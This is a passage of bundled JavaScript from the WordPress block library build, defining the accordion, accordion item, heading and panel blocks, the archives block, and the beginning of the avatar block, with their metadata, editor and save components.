    return /* @__PURE__ */ (0, import_jsx_runtime158.jsx)("div", { ...import_block_editor3.useInnerBlocksProps.save(blockProps) });
  }

  // packages/block-library/build-module/accordion/block.json
  var block_default = {
    $schema: "https://schemas.wp.org/trunk/block.json",
    apiVersion: 3,
    name: "core/accordion",
    title: "Accordion",
    category: "design",
    description: "Displays a foldable layout that groups content in collapsible sections.",
    example: {},
    supports: {
      anchor: true,
      html: false,
      align: ["wide", "full"],
      background: {
        backgroundImage: true,
        backgroundSize: true,
        __experimentalDefaultControls: {
          backgroundImage: true
        }
      },
      color: {
        background: true,
        gradients: true
      },
      __experimentalBorder: {
        color: true,
        radius: true,
        style: true,
        width: true,
        __experimentalDefaultControls: {
          color: true,
          radius: true,
          style: true,
          width: true
        }
      },
      spacing: {
        padding: true,
        margin: ["top", "bottom"],
        blockGap: true
      },
      shadow: true,
      layout: true,
      ariaLabel: true,
      interactivity: true,
      typography: {
        fontSize: true,
        lineHeight: true,
        __experimentalFontFamily: true,
        __experimentalFontWeight: true,
        __experimentalFontStyle: true,
        __experimentalTextTransform: true,
        __experimentalTextDecoration: true,
        __experimentalLetterSpacing: true,
        __experimentalDefaultControls: {
          fontSize: true
        }
      },
      contentRole: true,
      listView: true
    },
    attributes: {
      iconPosition: {
        type: "string",
        default: "right"
      },
      showIcon: {
        type: "boolean",
        default: true
      },
      autoclose: {
        type: "boolean",
        default: false
      },
      headingLevel: {
        type: "number",
        default: 3
      },
      levelOptions: {
        type: "array"
      }
    },
    providesContext: {
      "core/accordion-icon-position": "iconPosition",
      "core/accordion-show-icon": "showIcon",
      "core/accordion-heading-level": "headingLevel"
    },
    allowedBlocks: ["core/accordion-item"],
    textdomain: "default",
    viewScriptModule: "@wordpress/block-library/accordion/view"
  };

  // packages/block-library/build-module/utils/init-block.mjs
  var import_blocks2 = __toESM(require_blocks(), 1);
  function initBlock(block) {
    if (!block) {
      return;
    }
    const { metadata, settings: settings122, name: name123 } = block;
    return (0, import_blocks2.registerBlockType)({ name: name123, ...metadata }, settings122);
  }

  // packages/block-library/build-module/accordion/index.mjs
  var { name } = block_default;
  var settings = {
    icon: accordion_default,
    example: {
      innerBlocks: [
        {
          name: "core/accordion-item",
          innerBlocks: [
            {
              name: "core/accordion-heading",
              attributes: {
                title: (0, import_i18n2.__)(
                  "Lorem ipsum dolor sit amet, consectetur."
                )
              }
            }
          ]
        },
        {
          name: "core/accordion-item",
          innerBlocks: [
            {
              name: "core/accordion-heading",
              attributes: {
                title: (0, import_i18n2.__)(
                  "Suspendisse commodo lacus, interdum et."
                )
              }
            }
          ]
        }
      ]
    },
    edit: Edit,
    save
  };
  var init = () => initBlock({ name, metadata: block_default, settings });

  // packages/block-library/build-module/accordion-item/index.mjs
  var accordion_item_exports = {};
  __export(accordion_item_exports, {
    init: () => init2,
    metadata: () => block_default2,
    name: () => name2,
    settings: () => settings2
  });

  // packages/block-library/build-module/accordion-item/edit.mjs
  var import_i18n3 = __toESM(require_i18n(), 1);
  var import_block_editor4 = __toESM(require_block_editor(), 1);
  var import_data3 = __toESM(require_data(), 1);
  var import_components2 = __toESM(require_components(), 1);
  var import_jsx_runtime159 = __toESM(require_jsx_runtime(), 1);
  var TEMPLATE = [["core/accordion-heading"], ["core/accordion-panel"]];
  function Edit2({
    attributes: attributes2,
    clientId,
    setAttributes,
    isSelected: isSingleSelected
  }) {
    const { openByDefault } = attributes2;
    const dropdownMenuProps = useToolsPanelDropdownMenuProps();
    const { isSelected } = (0, import_data3.useSelect)(
      (select9) => {
        if (isSingleSelected || openByDefault) {
          return { isSelected: true };
        }
        return {
          isSelected: select9(import_block_editor4.store).hasSelectedInnerBlock(
            clientId,
            true
          )
        };
      },
      [clientId, isSingleSelected, openByDefault]
    );
    const blockProps = (0, import_block_editor4.useBlockProps)({
      className: clsx_default({
        "is-open": openByDefault || isSelected
      })
    });
    const innerBlocksProps = (0, import_block_editor4.useInnerBlocksProps)(blockProps, {
      template: TEMPLATE,
      templateLock: "all",
      directInsert: true,
      templateInsertUpdatesSelection: true
    });
    return /* @__PURE__ */ (0, import_jsx_runtime159.jsxs)(import_jsx_runtime159.Fragment, { children: [
      /* @__PURE__ */ (0, import_jsx_runtime159.jsx)(import_block_editor4.InspectorControls, { children: /* @__PURE__ */ (0, import_jsx_runtime159.jsx)(
        import_components2.__experimentalToolsPanel,
        {
          label: (0, import_i18n3.__)("Settings"),
          resetAll: () => {
            setAttributes({ openByDefault: false });
          },
          dropdownMenuProps,
          children: /* @__PURE__ */ (0, import_jsx_runtime159.jsx)(
            import_components2.__experimentalToolsPanelItem,
            {
              label: (0, import_i18n3.__)("Open by default"),
              isShownByDefault: true,
              hasValue: () => !!openByDefault,
              onDeselect: () => {
                setAttributes({ openByDefault: false });
              },
              children: /* @__PURE__ */ (0, import_jsx_runtime159.jsx)(
                import_components2.ToggleControl,
                {
                  label: (0, import_i18n3.__)("Open by default"),
                  onChange: (value) => {
                    setAttributes({
                      openByDefault: value
                    });
                  },
                  checked: openByDefault,
                  help: (0, import_i18n3.__)(
                    "Accordion content will be displayed by default."
                  )
                }
              )
            }
          )
        }
      ) }, "setting"),
      /* @__PURE__ */ (0, import_jsx_runtime159.jsx)("div", { ...innerBlocksProps })
    ] });
  }

  // packages/block-library/build-module/accordion-item/save.mjs
  var import_block_editor5 = __toESM(require_block_editor(), 1);
  var import_jsx_runtime160 = __toESM(require_jsx_runtime(), 1);
  function save2({ attributes: attributes2 }) {
    const { openByDefault } = attributes2;
    const blockProps = import_block_editor5.useBlockProps.save({
      className: clsx_default({
        "is-open": openByDefault
      })
    });
    const innerBlocksProps = import_block_editor5.useInnerBlocksProps.save(blockProps);
    return /* @__PURE__ */ (0, import_jsx_runtime160.jsx)("div", { ...innerBlocksProps });
  }

  // packages/block-library/build-module/accordion-item/block.json
  var block_default2 = {
    $schema: "https://schemas.wp.org/trunk/block.json",
    apiVersion: 3,
    name: "core/accordion-item",
    title: "Accordion Item",
    category: "design",
    description: "Wraps the heading and panel in one unit.",
    parent: ["core/accordion"],
    allowedBlocks: ["core/accordion-heading", "core/accordion-panel"],
    supports: {
      html: false,
      color: {
        background: true,
        gradients: true
      },
      interactivity: true,
      spacing: {
        margin: ["top", "bottom"],
        blockGap: true
      },
      __experimentalBorder: {
        color: true,
        radius: true,
        style: true,
        width: true,
        __experimentalDefaultControls: {
          color: true,
          radius: true,
          style: true,
          width: true
        }
      },
      shadow: true,
      layout: {
        allowEditing: false
      },
      typography: {
        fontSize: true,
        lineHeight: true,
        __experimentalFontFamily: true,
        __experimentalFontWeight: true,
        __experimentalFontStyle: true,
        __experimentalTextTransform: true,
        __experimentalTextDecoration: true,
        __experimentalLetterSpacing: true,
        __experimentalDefaultControls: {
          fontSize: true
        }
      },
      contentRole: true
    },
    attributes: {
      openByDefault: {
        type: "boolean",
        default: false
      }
    },
    providesContext: {
      "core/accordion-open-by-default": "openByDefault"
    },
    textdomain: "default",
    style: "wp-block-accordion-item"
  };

  // packages/block-library/build-module/accordion-item/index.mjs
  var { name: name2 } = block_default2;
  var settings2 = {
    icon: accordion_item_default,
    edit: Edit2,
    save: save2
  };
  var init2 = () => initBlock({ name: name2, metadata: block_default2, settings: settings2 });

  // packages/block-library/build-module/accordion-heading/index.mjs
  var accordion_heading_exports = {};
  __export(accordion_heading_exports, {
    init: () => init3,
    metadata: () => block_default3,
    name: () => name3,
    settings: () => settings3
  });

  // packages/block-library/build-module/accordion-heading/edit.mjs
  var import_i18n4 = __toESM(require_i18n(), 1);
  var import_element3 = __toESM(require_element(), 1);
  var import_block_editor6 = __toESM(require_block_editor(), 1);
  var import_data4 = __toESM(require_data(), 1);
  var import_jsx_runtime161 = __toESM(require_jsx_runtime(), 1);
  function Edit3({ attributes: attributes2, setAttributes, context }) {
    const { title } = attributes2;
    const {
      "core/accordion-icon-position": iconPosition,
      "core/accordion-show-icon": showIcon,
      "core/accordion-heading-level": headingLevel
    } = context;
    const TagName2 = "h" + headingLevel;
    const { __unstableMarkNextChangeAsNotPersistent } = (0, import_data4.useDispatch)(import_block_editor6.store);
    (0, import_element3.useEffect)(() => {
      if (iconPosition !== void 0 && showIcon !== void 0) {
        __unstableMarkNextChangeAsNotPersistent();
        setAttributes({
          iconPosition,
          showIcon
        });
      }
    }, [
      iconPosition,
      showIcon,
      setAttributes,
      __unstableMarkNextChangeAsNotPersistent
    ]);
    const [fluidTypographySettings, layout] = (0, import_block_editor6.useSettings)(
      "typography.fluid",
      "layout"
    );
    const typographyProps = (0, import_block_editor6.getTypographyClassesAndStyles)(attributes2, {
      typography: {
        fluid: fluidTypographySettings
      },
      layout: {
        wideSize: layout?.wideSize
      }
    });
    const blockProps = (0, import_block_editor6.useBlockProps)();
    const spacingProps = (0, import_block_editor6.__experimentalGetSpacingClassesAndStyles)(attributes2);
    return /* @__PURE__ */ (0, import_jsx_runtime161.jsx)(TagName2, { ...blockProps, children: /* @__PURE__ */ (0, import_jsx_runtime161.jsxs)(
      "button",
      {
        className: "wp-block-accordion-heading__toggle",
        style: spacingProps.style,
        tabIndex: "-1",
        children: [
          showIcon && iconPosition === "left" && /* @__PURE__ */ (0, import_jsx_runtime161.jsx)(
            "span",
            {
              className: "wp-block-accordion-heading__toggle-icon",
              "aria-hidden": "true",
              children: "+"
            }
          ),
          /* @__PURE__ */ (0, import_jsx_runtime161.jsx)(
            import_block_editor6.RichText,
            {
              withoutInteractiveFormatting: true,
              disableLineBreaks: true,
              tagName: "span",
              value: title,
              onChange: (newTitle) => setAttributes({ title: newTitle }),
              placeholder: (0, import_i18n4.__)("Accordion title"),
              className: "wp-block-accordion-heading__toggle-title",
              style: {
                letterSpacing: typographyProps.style.letterSpacing,
                textDecoration: typographyProps.style.textDecoration
              }
            }
          ),
          showIcon && iconPosition === "right" && /* @__PURE__ */ (0, import_jsx_runtime161.jsx)(
            "span",
            {
              className: "wp-block-accordion-heading__toggle-icon",
              "aria-hidden": "true",
              children: "+"
            }
          )
        ]
      }
    ) });
  }

  // packages/block-library/build-module/accordion-heading/save.mjs
  var import_block_editor7 = __toESM(require_block_editor(), 1);
  var import_jsx_runtime162 = __toESM(require_jsx_runtime(), 1);
  function save3({ attributes: attributes2 }) {
    const { level, title, iconPosition, showIcon } = attributes2;
    const TagName2 = "h" + (level || 3);
    const typographyProps = (0, import_block_editor7.getTypographyClassesAndStyles)(attributes2);
    const blockProps = import_block_editor7.useBlockProps.save();
    const spacingProps = (0, import_block_editor7.__experimentalGetSpacingClassesAndStyles)(attributes2);
    return /* @__PURE__ */ (0, import_jsx_runtime162.jsx)(TagName2, { ...blockProps, children: /* @__PURE__ */ (0, import_jsx_runtime162.jsxs)(
      "button",
      {
        type: "button",
        className: "wp-block-accordion-heading__toggle",
        style: spacingProps.style,
        children: [
          showIcon && iconPosition === "left" && /* @__PURE__ */ (0, import_jsx_runtime162.jsx)(
            "span",
            {
              className: "wp-block-accordion-heading__toggle-icon",
              "aria-hidden": "true",
              children: "+"
            }
          ),
          /* @__PURE__ */ (0, import_jsx_runtime162.jsx)(
            import_block_editor7.RichText.Content,
            {
              className: "wp-block-accordion-heading__toggle-title",
              tagName: "span",
              value: title,
              style: {
                letterSpacing: typographyProps.style.letterSpacing,
                textDecoration: typographyProps.style.textDecoration
              }
            }
          ),
          showIcon && iconPosition === "right" && /* @__PURE__ */ (0, import_jsx_runtime162.jsx)(
            "span",
            {
              className: "wp-block-accordion-heading__toggle-icon",
              "aria-hidden": "true",
              children: "+"
            }
          )
        ]
      }
    ) });
  }

  // packages/block-library/build-module/accordion-heading/block.json
  var block_default3 = {
    $schema: "https://schemas.wp.org/trunk/block.json",
    apiVersion: 3,
    name: "core/accordion-heading",
    title: "Accordion Heading",
    category: "design",
    description: "Displays a heading that toggles the accordion panel.",
    parent: ["core/accordion-item"],
    usesContext: [
      "core/accordion-icon-position",
      "core/accordion-show-icon",
      "core/accordion-heading-level"
    ],
    supports: {
      anchor: true,
      color: {
        background: true,
        gradients: true
      },
      align: false,
      interactivity: true,
      spacing: {
        padding: true,
        __experimentalDefaultControls: {
          padding: true
        },
        __experimentalSkipSerialization: true,
        __experimentalSelector: ".wp-block-accordion-heading__toggle"
      },
      __experimentalBorder: {
        color: true,
        radius: true,
        style: true,
        width: true,
        __experimentalDefaultControls: {
          color: true,
          radius: true,
          style: true,
          width: true
        }
      },
      typography: {
        __experimentalSkipSerialization: [
          "textDecoration",
          "letterSpacing"
        ],
        fontSize: true,
        __experimentalFontFamily: true,
        __experimentalFontWeight: true,
        __experimentalFontStyle: true,
        __experimentalTextTransform: true,
        __experimentalTextDecoration: true,
        __experimentalLetterSpacing: true,
        __experimentalDefaultControls: {
          fontSize: true,
          fontFamily: true
        }
      },
      shadow: true,
      visibility: false,
      lock: false
    },
    selectors: {
      typography: {
        letterSpacing: ".wp-block-accordion-heading .wp-block-accordion-heading__toggle-title",
        textDecoration: ".wp-block-accordion-heading .wp-block-accordion-heading__toggle-title"
      }
    },
    attributes: {
      openByDefault: {
        type: "boolean",
        default: false
      },
      title: {
        type: "rich-text",
        source: "rich-text",
        selector: ".wp-block-accordion-heading__toggle-title",
        role: "content"
      },
      level: {
        type: "number"
      },
      iconPosition: {
        type: "string",
        enum: ["left", "right"],
        default: "right"
      },
      showIcon: {
        type: "boolean",
        default: true
      }
    },
    textdomain: "default"
  };

  // packages/block-library/build-module/accordion-heading/deprecated.mjs
  var import_block_editor8 = __toESM(require_block_editor(), 1);
  var import_jsx_runtime163 = __toESM(require_jsx_runtime(), 1);
  var v1 = {
    attributes: {
      openByDefault: {
        type: "boolean",
        default: false
      },
      title: {
        type: "rich-text",
        source: "rich-text",
        selector: ".wp-block-accordion-heading__toggle-title",
        role: "content"
      },
      level: {
        type: "number"
      },
      iconPosition: {
        type: "string",
        enum: ["left", "right"],
        default: "right"
      },
      showIcon: {
        type: "boolean",
        default: true
      }
    },
    supports: {
      anchor: true,
      color: {
        background: true,
        gradients: true
      },
      align: false,
      interactivity: true,
      spacing: {
        padding: true,
        __experimentalDefaultControls: {
          padding: true
        },
        __experimentalSkipSerialization: true,
        __experimentalSelector: ".wp-block-accordion-heading__toggle"
      },
      __experimentalBorder: {
        color: true,
        radius: true,
        style: true,
        width: true,
        __experimentalDefaultControls: {
          color: true,
          radius: true,
          style: true,
          width: true
        }
      },
      typography: {
        fontSize: true,
        __experimentalFontFamily: true,
        __experimentalFontWeight: true,
        __experimentalFontStyle: true,
        __experimentalTextTransform: true,
        __experimentalTextDecoration: true,
        __experimentalLetterSpacing: true,
        __experimentalDefaultControls: {
          fontSize: true,
          fontFamily: true
        }
      },
      shadow: true,
      visibility: false
    },
    save({ attributes: attributes2 }) {
      const { level, title, iconPosition, showIcon } = attributes2;
      const TagName2 = "h" + (level || 3);
      const blockProps = import_block_editor8.useBlockProps.save();
      const spacingProps = (0, import_block_editor8.__experimentalGetSpacingClassesAndStyles)(attributes2);
      return /* @__PURE__ */ (0, import_jsx_runtime163.jsx)(TagName2, { ...blockProps, children: /* @__PURE__ */ (0, import_jsx_runtime163.jsxs)(
        "button",
        {
          className: "wp-block-accordion-heading__toggle",
          style: spacingProps.style,
          children: [
            showIcon && iconPosition === "left" && /* @__PURE__ */ (0, import_jsx_runtime163.jsx)(
              "span",
              {
                className: "wp-block-accordion-heading__toggle-icon",
                "aria-hidden": "true",
                children: "+"
              }
            ),
            /* @__PURE__ */ (0, import_jsx_runtime163.jsx)(
              import_block_editor8.RichText.Content,
              {
                className: "wp-block-accordion-heading__toggle-title",
                tagName: "span",
                value: title
              }
            ),
            showIcon && iconPosition === "right" && /* @__PURE__ */ (0, import_jsx_runtime163.jsx)(
              "span",
              {
                className: "wp-block-accordion-heading__toggle-icon",
                "aria-hidden": "true",
                children: "+"
              }
            )
          ]
        }
      ) });
    }
  };
  var v2 = {
    attributes: {
      openByDefault: {
        type: "boolean",
        default: false
      },
      title: {
        type: "rich-text",
        source: "rich-text",
        selector: ".wp-block-accordion-heading__toggle-title",
        role: "content"
      },
      level: {
        type: "number"
      },
      iconPosition: {
        type: "string",
        enum: ["left", "right"],
        default: "right"
      },
      showIcon: {
        type: "boolean",
        default: true
      }
    },
    supports: {
      anchor: true,
      color: {
        background: true,
        gradients: true
      },
      align: false,
      interactivity: true,
      spacing: {
        padding: true,
        __experimentalDefaultControls: {
          padding: true
        },
        __experimentalSkipSerialization: true,
        __experimentalSelector: ".wp-block-accordion-heading__toggle"
      },
      __experimentalBorder: {
        color: true,
        radius: true,
        style: true,
        width: true,
        __experimentalDefaultControls: {
          color: true,
          radius: true,
          style: true,
          width: true
        }
      },
      typography: {
        __experimentalSkipSerialization: [
          "textDecoration",
          "letterSpacing"
        ],
        fontSize: true,
        __experimentalFontFamily: true,
        __experimentalFontWeight: true,
        __experimentalFontStyle: true,
        __experimentalTextTransform: true,
        __experimentalTextDecoration: true,
        __experimentalLetterSpacing: true,
        __experimentalDefaultControls: {
          fontSize: true,
          fontFamily: true
        }
      },
      shadow: true,
      visibility: false,
      lock: false
    },
    save({ attributes: attributes2 }) {
      const { level, title, iconPosition, showIcon } = attributes2;
      const TagName2 = "h" + (level || 3);
      const typographyProps = (0, import_block_editor8.getTypographyClassesAndStyles)(attributes2);
      const blockProps = import_block_editor8.useBlockProps.save();
      const spacingProps = (0, import_block_editor8.__experimentalGetSpacingClassesAndStyles)(attributes2);
      return /* @__PURE__ */ (0, import_jsx_runtime163.jsx)(TagName2, { ...blockProps, children: /* @__PURE__ */ (0, import_jsx_runtime163.jsxs)(
        "button",
        {
          className: "wp-block-accordion-heading__toggle",
          style: spacingProps.style,
          children: [
            showIcon && iconPosition === "left" && /* @__PURE__ */ (0, import_jsx_runtime163.jsx)(
              "span",
              {
                className: "wp-block-accordion-heading__toggle-icon",
                "aria-hidden": "true",
                children: "+"
              }
            ),
            /* @__PURE__ */ (0, import_jsx_runtime163.jsx)(
              import_block_editor8.RichText.Content,
              {
                className: "wp-block-accordion-heading__toggle-title",
                tagName: "span",
                value: title,
                style: {
                  letterSpacing: typographyProps.style.letterSpacing,
                  textDecoration: typographyProps.style.textDecoration
                }
              }
            ),
            showIcon && iconPosition === "right" && /* @__PURE__ */ (0, import_jsx_runtime163.jsx)(
              "span",
              {
                className: "wp-block-accordion-heading__toggle-icon",
                "aria-hidden": "true",
                children: "+"
              }
            )
          ]
        }
      ) });
    }
  };
  var deprecated_default = [v1, v2];

  // packages/block-library/build-module/accordion-heading/index.mjs
  var { name: name3 } = block_default3;
  var settings3 = {
    icon: accordion_heading_default,
    edit: Edit3,
    save: save3,
    deprecated: deprecated_default
  };
  var init3 = () => initBlock({ name: name3, metadata: block_default3, settings: settings3 });

  // packages/block-library/build-module/accordion-panel/index.mjs
  var accordion_panel_exports = {};
  __export(accordion_panel_exports, {
    init: () => init4,
    metadata: () => block_default4,
    name: () => name4,
    settings: () => settings4
  });

  // packages/block-library/build-module/accordion-panel/edit.mjs
  var import_block_editor9 = __toESM(require_block_editor(), 1);
  var import_data5 = __toESM(require_data(), 1);
  var import_jsx_runtime164 = __toESM(require_jsx_runtime(), 1);
  function Edit4({ attributes: attributes2, context, clientId, isSelected }) {
    const { allowedBlocks, templateLock } = attributes2;
    const openByDefault = context["core/accordion-open-by-default"];
    const { hasSelection } = (0, import_data5.useSelect)(
      (select9) => {
        if (isSelected || openByDefault) {
          return { hasSelection: true };
        }
        const {
          getBlockRootClientId,
          isBlockSelected,
          hasSelectedInnerBlock
        } = select9(import_block_editor9.store);
        const rootClientId = getBlockRootClientId(clientId);
        return {
          hasSelection: isBlockSelected(rootClientId) || hasSelectedInnerBlock(rootClientId, true)
        };
      },
      [clientId, isSelected, openByDefault]
    );
    const blockProps = (0, import_block_editor9.useBlockProps)({
      "aria-hidden": !hasSelection,
      role: "region"
    });
    const innerBlocksProps = (0, import_block_editor9.useInnerBlocksProps)(blockProps, {
      allowedBlocks,
      template: [["core/paragraph", {}]],
      templateLock
    });
    return /* @__PURE__ */ (0, import_jsx_runtime164.jsx)("div", { ...innerBlocksProps });
  }

  // packages/block-library/build-module/accordion-panel/save.mjs
  var import_block_editor10 = __toESM(require_block_editor(), 1);
  var import_jsx_runtime165 = __toESM(require_jsx_runtime(), 1);
  function save4() {
    const blockProps = import_block_editor10.useBlockProps.save({
      role: "region"
    });
    const innerBlocksProps = import_block_editor10.useInnerBlocksProps.save(blockProps);
    return /* @__PURE__ */ (0, import_jsx_runtime165.jsx)("div", { ...innerBlocksProps });
  }

  // packages/block-library/build-module/accordion-panel/block.json
  var block_default4 = {
    $schema: "https://schemas.wp.org/trunk/block.json",
    apiVersion: 3,
    name: "core/accordion-panel",
    title: "Accordion Panel",
    category: "design",
    description: "Contains the hidden or revealed content beneath the heading.",
    parent: ["core/accordion-item"],
    usesContext: ["core/accordion-open-by-default"],
    supports: {
      html: false,
      color: {
        background: true,
        gradients: true
      },
      interactivity: true,
      spacing: {
        padding: true,
        blockGap: true,
        __experimentalDefaultControls: {
          padding: true,
          blockGap: true
        }
      },
      __experimentalBorder: {
        color: true,
        radius: true,
        style: true,
        width: true,
        __experimentalDefaultControls: {
          color: true,
          radius: true,
          style: true,
          width: true
        }
      },
      typography: {
        fontSize: true,
        lineHeight: true,
        __experimentalFontFamily: true,
        __experimentalFontWeight: true,
        __experimentalFontStyle: true,
        __experimentalTextTransform: true,
        __experimentalTextDecoration: true,
        __experimentalLetterSpacing: true,
        __experimentalDefaultControls: {
          fontSize: true
        }
      },
      shadow: true,
      layout: {
        allowEditing: false
      },
      visibility: false,
      contentRole: true,
      allowedBlocks: true,
      lock: false
    },
    attributes: {
      templateLock: {
        type: ["string", "boolean"],
        enum: ["all", "insert", "contentOnly", false],
        default: false
      }
    },
    textdomain: "default",
    style: "wp-block-accordion-panel"
  };

  // packages/block-library/build-module/accordion-panel/index.mjs
  var { name: name4 } = block_default4;
  var settings4 = {
    icon: contents_default,
    edit: Edit4,
    save: save4
  };
  var init4 = () => initBlock({ name: name4, metadata: block_default4, settings: settings4 });

  // packages/block-library/build-module/archives/index.mjs
  var archives_exports = {};
  __export(archives_exports, {
    init: () => init5,
    metadata: () => block_default5,
    name: () => name5,
    settings: () => settings5
  });

  // packages/block-library/build-module/archives/block.json
  var block_default5 = {
    $schema: "https://schemas.wp.org/trunk/block.json",
    apiVersion: 3,
    name: "core/archives",
    title: "Archives",
    category: "widgets",
    description: "Display a date archive of your posts.",
    textdomain: "default",
    attributes: {
      displayAsDropdown: {
        type: "boolean",
        default: false
      },
      showLabel: {
        type: "boolean",
        default: true
      },
      showPostCounts: {
        type: "boolean",
        default: false
      },
      type: {
        type: "string",
        default: "monthly"
      }
    },
    supports: {
      anchor: true,
      align: true,
      __experimentalBorder: {
        radius: true,
        color: true,
        width: true,
        style: true
      },
      html: false,
      spacing: {
        margin: true,
        padding: true,
        __experimentalDefaultControls: {
          margin: false,
          padding: false
        }
      },
      typography: {
        fontSize: true,
        lineHeight: true,
        __experimentalFontFamily: true,
        __experimentalFontWeight: true,
        __experimentalFontStyle: true,
        __experimentalTextTransform: true,
        __experimentalTextDecoration: true,
        __experimentalLetterSpacing: true,
        __experimentalDefaultControls: {
          fontSize: true
        }
      },
      color: {
        gradients: true,
        link: true,
        __experimentalDefaultControls: {
          background: true,
          text: true,
          link: true
        }
      },
      interactivity: {
        clientNavigation: true
      }
    }
  };

  // packages/block-library/build-module/archives/edit.mjs
  var import_components3 = __toESM(require_components(), 1);
  var import_i18n5 = __toESM(require_i18n(), 1);
  var import_block_editor11 = __toESM(require_block_editor(), 1);
  var import_server_side_render = __toESM(require_server_side_render(), 1);
  var import_compose2 = __toESM(require_compose(), 1);
  var import_jsx_runtime166 = __toESM(require_jsx_runtime(), 1);
  function ArchivesEdit({ attributes: attributes2, setAttributes, name: name123 }) {
    const { showLabel, showPostCounts, displayAsDropdown, type } = attributes2;
    const dropdownMenuProps = useToolsPanelDropdownMenuProps();
    const { content, status, error } = (0, import_server_side_render.useServerSideRender)({
      attributes: attributes2,
      skipBlockSupportAttributes: true,
      block: name123
    });
    const disabledRef = (0, import_compose2.useDisabled)();
    const blockProps = (0, import_block_editor11.useBlockProps)({ ref: disabledRef });
    return /* @__PURE__ */ (0, import_jsx_runtime166.jsxs)(import_jsx_runtime166.Fragment, { children: [
      /* @__PURE__ */ (0, import_jsx_runtime166.jsx)(import_block_editor11.InspectorControls, { children: /* @__PURE__ */ (0, import_jsx_runtime166.jsxs)(
        import_components3.__experimentalToolsPanel,
        {
          label: (0, import_i18n5.__)("Settings"),
          resetAll: () => {
            setAttributes({
              displayAsDropdown: false,
              showLabel: true,
              showPostCounts: false,
              type: "monthly"
            });
          },
          dropdownMenuProps,
          children: [
            /* @__PURE__ */ (0, import_jsx_runtime166.jsx)(
              import_components3.__experimentalToolsPanelItem,
              {
                label: (0, import_i18n5.__)("Display as dropdown"),
                isShownByDefault: true,
                hasValue: () => displayAsDropdown,
                onDeselect: () => setAttributes({ displayAsDropdown: false }),
                children: /* @__PURE__ */ (0, import_jsx_runtime166.jsx)(
                  import_components3.ToggleControl,
                  {
                    label: (0, import_i18n5.__)("Display as dropdown"),
                    checked: displayAsDropdown,
                    onChange: () => setAttributes({
                      displayAsDropdown: !displayAsDropdown
                    })
                  }
                )
              }
            ),
            displayAsDropdown && /* @__PURE__ */ (0, import_jsx_runtime166.jsx)(
              import_components3.__experimentalToolsPanelItem,
              {
                label: (0, import_i18n5.__)("Show label"),
                isShownByDefault: true,
                hasValue: () => !showLabel,
                onDeselect: () => setAttributes({ showLabel: true }),
                children: /* @__PURE__ */ (0, import_jsx_runtime166.jsx)(
                  import_components3.ToggleControl,
                  {
                    label: (0, import_i18n5.__)("Show label"),
                    checked: showLabel,
                    onChange: () => setAttributes({
                      showLabel: !showLabel
                    })
                  }
                )
              }
            ),
            /* @__PURE__ */ (0, import_jsx_runtime166.jsx)(
              import_components3.__experimentalToolsPanelItem,
              {
                label: (0, import_i18n5.__)("Show post counts"),
                isShownByDefault: true,
                hasValue: () => showPostCounts,
                onDeselect: () => setAttributes({ showPostCounts: false }),
                children: /* @__PURE__ */ (0, import_jsx_runtime166.jsx)(
                  import_components3.ToggleControl,
                  {
                    label: (0, import_i18n5.__)("Show post counts"),
                    checked: showPostCounts,
                    onChange: () => setAttributes({
                      showPostCounts: !showPostCounts
                    })
                  }
                )
              }
            ),
            /* @__PURE__ */ (0, import_jsx_runtime166.jsx)(
              import_components3.__experimentalToolsPanelItem,
              {
                label: (0, import_i18n5.__)("Group by"),
                isShownByDefault: true,
                hasValue: () => type !== "monthly",
                onDeselect: () => setAttributes({ type: "monthly" }),
                children: /* @__PURE__ */ (0, import_jsx_runtime166.jsx)(
                  import_components3.SelectControl,
                  {
                    __next40pxDefaultSize: true,
                    label: (0, import_i18n5.__)("Group by"),
                    options: [
                      { label: (0, import_i18n5.__)("Year"), value: "yearly" },
                      { label: (0, import_i18n5.__)("Month"), value: "monthly" },
                      { label: (0, import_i18n5.__)("Week"), value: "weekly" },
                      { label: (0, import_i18n5.__)("Day"), value: "daily" }
                    ],
                    value: type,
                    onChange: (value) => setAttributes({ type: value })
                  }
                )
              }
            )
          ]
        }
      ) }),
      status === "loading" && /* @__PURE__ */ (0, import_jsx_runtime166.jsx)("div", { ...blockProps, children: /* @__PURE__ */ (0, import_jsx_runtime166.jsx)(import_components3.Spinner, {}) }),
      status === "error" && /* @__PURE__ */ (0, import_jsx_runtime166.jsx)("div", { ...blockProps, children: /* @__PURE__ */ (0, import_jsx_runtime166.jsx)("p", { children: (0, import_i18n5.sprintf)(
        /* translators: %s: error message returned when rendering the block. */
        (0, import_i18n5.__)("Error: %s"),
        error
      ) }) }),
      status === "success" && /* @__PURE__ */ (0, import_jsx_runtime166.jsx)(html_renderer_default, { wrapperProps: blockProps, html: content })
    ] });
  }

  // packages/block-library/build-module/archives/index.mjs
  var { name: name5 } = block_default5;
  var settings5 = {
    icon: archive_default,
    example: {},
    edit: ArchivesEdit
  };
  var init5 = () => initBlock({ name: name5, metadata: block_default5, settings: settings5 });

  // packages/block-library/build-module/avatar/index.mjs
  var avatar_exports = {};
  __export(avatar_exports, {
    init: () => init6,
    metadata: () => block_default6,
    name: () => name6,
    settings: () => settings6
  });

  // packages/block-library/build-module/avatar/block.json
  var block_default6 = {
    $schema: "https://schemas.wp.org/trunk/block.json",
    apiVersion: 3,
    name: "core/avatar",
    title: "Avatar",
    category: "theme",
    description: "Add a user\u2019s avatar.",
    textdomain: "default",
    attributes: {
      userId: {
        type: "number"
      },
      size: {
        type: "number",
        default: 96
      },
      isLink: {
        type: "boolean",
        default: false
      },
      linkTarget: {
        type: "string",
        default: "_self"
      }
    },
    usesContext: ["postType", "postId", "commentId"],
    supports: {
      anchor: true,
      html: false,
      align: true,
      alignWide: false,
      spacing: {
        margin: true,
        padding: true,
        __experimentalDefaultControls: {
          margin: false,
          padding: false
        }
      },
      __experimentalBorder: {
        __experimentalSkipSerialization: true,
        radius: true,
        width: true,
        color: true,
        style: true,
        __experimentalDefaultControls: {
          radius: true
        }
      },
      color: {
        text: false,
        background: false
      },
      filter: {
        duotone: true
      },
      interactivity: {
        clientNavigation: true
      }
    },
    selectors: {
      border: ".wp-block-avatar img",
      filter: {
        duotone: ".wp-block-avatar img"
      }
    },
    editorStyle: "wp-block-avatar-editor",
    style: "wp-block-avatar"
  };

  // packages/block-library/build-module/avatar/edit.mjs
  var import_block_editor12 = __toESM(require_block_editor(), 1);
  var import_components5 = __toESM(require_components(), 1);
  var import_i18n8 = __toESM(require_i18n(), 1);
  var import_url = __toESM(require_url(), 1);

  // packages/block-library/build-module/avatar/hooks.mjs
  var import_core_data2 = __toESM(require_core_data(), 1);
  var import_i18n6 = __toESM(require_i18n(), 1);
